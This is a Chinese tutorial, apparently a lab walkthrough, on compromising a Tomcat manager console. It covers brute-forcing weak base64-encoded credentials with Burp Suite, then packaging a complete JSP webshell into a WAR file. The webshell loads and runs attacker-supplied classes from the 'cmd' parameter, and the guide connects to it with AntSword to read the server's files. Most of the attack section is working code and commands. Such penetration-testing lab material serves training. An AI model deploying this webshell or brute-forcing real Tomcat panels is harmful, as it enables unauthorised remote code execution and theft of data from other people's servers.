目录
Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf omcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。 Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。
发现账户密码都是base64加密
解密发现是admin:admin
简单介绍一下爆破模块
右侧功能 add 添加标记 Clear 清除标记 auto 自动在等于号后面添加标记 refresh 刷新
attack type:攻击类型 1. sniper :每个个字典对应每个参数值 2. battering ram :不管选择爆破多少个参数值都是使用同一个字典 3. pitchfork :是字典一对应参数值一,字典二对应参数值二,爆破的次数取决于字典的大小 4. cluster bomb :交叉爆破(顾名思义,交叉爆破产生的字典非常庞大)
在position选择表1,输入用户名字典
payload type选项简介 Simple list :简单字典 Runtim file :运行文件 Custom iterator :自定义迭代器 Character sub :字符串替换
在2输入:
在3输入密码字典
在 payload processing添加base64编码格式
Burpsuite会自动将符号进行 url 编码,这里需要将 Payload Encoding 的勾给去掉
Start attack 进行爆破得到用户密码
看到回显200说明登录成功,对用户名密码进行解码
登陆成功
登录到后台后可以通过部署 war 包进行 getshell
war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。 一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。
<%!
class U extends ClassLoader {
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
return super.defineClass(b,0,b.length);
}
}
public byte[] base64Decode(String str) throws Exception{
try{
Class clazz =Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
}catch (Exception e){
Class clazz =Class.forName("java.util.Base64");
Object decoder =clazz.getMethod("getDecoder").invoke(null);
return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
}
}
%>
<%
String cls =request.getParameter("cmd");
if(cls != null){
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
jar cvf tomcat.war tomcat.jsp
如图所示
应用列表已经出现上传的war包
访问一个jsp文件
http://127.0.0.1:8080/tomcat/tomcat.jsp
如图所示说明部署成功
通过中国蚁剑添加数据,输入jsp木马中的密码cmd
链接成功
访问查看到了本机的所有文件
tomcat靶场部署完成